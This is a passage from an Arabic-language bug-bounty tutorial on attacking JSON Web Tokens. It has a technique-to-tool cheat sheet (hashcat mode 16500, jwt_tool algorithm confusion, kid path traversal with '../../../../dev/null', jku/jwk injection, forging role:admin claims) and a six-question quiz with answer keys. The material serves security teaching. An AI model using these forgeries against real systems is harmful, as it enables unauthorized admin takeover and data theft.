Weak Secret HS256 Hashcat -m 16500 TOKEN FORGE
Algorithm Confusion RS256/ES256 jwt_tool.py -X k TOKEN FORGE
kid Path Traversal kid in header Manual + jwt_tool TOKEN FORGE
kid SQL Injection kid → DB Manual TOKEN FORGE
jku Injection jku in header Burp JWT Editor TOKEN FORGE
jwk Injection jwk accepted Burp JWT Editor TOKEN FORGE
Claim: role → admin بعد forging jwt.io PRIV ESC
Claim: exp → 9999999999 بعد forging jwt.io PERSISTENCE
Claim: sub → 1 (admin) بعد forging jwt.io ATO
// 15 — اختبر نفسك

Quiz — JWT Attacks

6 أسئلة عن decision-making حقيقي — مش عن تعريفات.

◆ ◇ ◆
شيلت آخر حرف من الـ JWT signature وبعثته — رجعلك 200 OK. إيه خطوتك الجاية؟
A. ابعت report فوراً — الـ signature مش validated
B. غير الـ role في الـ payload لـ "admin" وبعت الـ request وتأكد من الـ access
C. جرب الـ none algorithm attack
D. شغل hashcat على الـ token
الإجابة الصح: B

لما الـ signature مش validated — ده معناه إنت تقدر تغير أي claim في الـ payload وتبعته مباشرة. الخطوة الجاية هي إثبات الـ impact: غير الـ role لـ admin وتأكد إن الـ admin access بيشتغل. الـ report بيكتب بعد إثبات الـ impact مش قبله.
التطبيق بيستخدم RS256. جبت الـ public key من /.well-known/jwks.json. إيه الـ attack اللي هتجربه أول؟
A. Hashcat brute force على الـ RS256 token
B. Algorithm confusion: غير alg لـ HS256 ووقع الـ token بالـ public key كـ HMAC secret
C. alg:none attack
D. Claim manipulation مباشرة
الإجابة الصح: B

مع RS256 والـ public key متاح — الـ algorithm confusion هو أقوى attack. الـ hashcat مش هينفع مع RS256 (ده خاص بـ HMAC). الـ alg:none ممكن تجربه بس الـ algorithm confusion هو الأذكى في الحالة دي.
الـ JWT header يحتوي على: {"alg":"HS256","typ":"JWT","kid":"keys/signing-key-2024"}. إيه الـ attack اللي بيلفت نظرك؟
A. alg:none — غير الـ algorithm
B. Algorithm confusion — HS256 → RS256
C. kid Path Traversal: غير kid لـ "../../../../dev/null"
D. Hashcat brute force على الـ secret
الإجابة الصح: C

وجود الـ kid parameter بالشكل ده (path-like string) هو indicator واضح لـ path traversal attack. غير الـ kid لـ "../../../../dev/null" — لو الـ server بيجيب الـ key من الـ filesystem ده هيرجع empty string — وتقدر توقع الـ token بـ secret="".
ايه الفرق العملي بين jwt.decode() وjwt.verify() في الـ Node.js jsonwebtoken library؟
A. مفيش فرق — الاتنين بيتحققوا من الـ signature
B. decode() بيقرأ الـ payload بدون التحقق من الـ signature — verify() بيتحقق
C. verify() أسرع من decode()
D. decode() بيتشيك من الـ expiry فقط
الإجابة الصح: B

decode() بيفك الـ base64 وبيرجع الـ payload من غير أي تحقق من الـ signature. verify() بيتحقق من الـ signature والـ expiry والـ algorithm. استخدام decode() بدل verify() بيلغي كل حماية الـ JWT.
جربت alg:none وHS256 brute force والـ kid path traversal — كلها فشلت. الـ JWT بيستخدم RS256. إيه بعدين؟
A. إنهاء الـ testing — الـ JWT آمن
B. جرب jku injection: ضيف jku parameter بـ URL لـ server بتاعك + Embedded JWK attack
C. جرب تخمين الـ private key
D. روح لـ endpoint تاني
الإجابة الصح: B

الـ JWT testing مش بتخلص بكده. مع RS256 — جرب jku injection (ضيف jku parameter بـ URL لـ JWKS server بتاعك)، وjwk injection (ضمن الـ public key بتاعك في الـ header). Burp JWT Editor extension بيعمل الاتنين بـ 1 click.
قدرت تزور JWT بـ role:"admin". شايف /admin/dashboard و/admin/users و/admin/export. إيه الـ impact اللي هتبني عليه الـ report؟
A. "Authentication Bypass" — وبس
B. إثبات access للـ dashboard فقط
C. إثبات Full Admin Takeover: وصول لـ users data، export كل الـ records، potential RCE لو في admin functions
D. الـ report مش محتاج impact — الـ vulnerability واضح
الإجابة الصح: C

الـ impact بيتحدد بأعلى حاجة قدرت تعملها. مش بس "وصلت للـ admin dashboard" — وصلت لـ users data (PII)، قدرت تعمل export للـ database، وممكن في admin functions ممكن تؤدي لـ RCE. كل ده بيرفع الـ severity ويزود الـ bounty.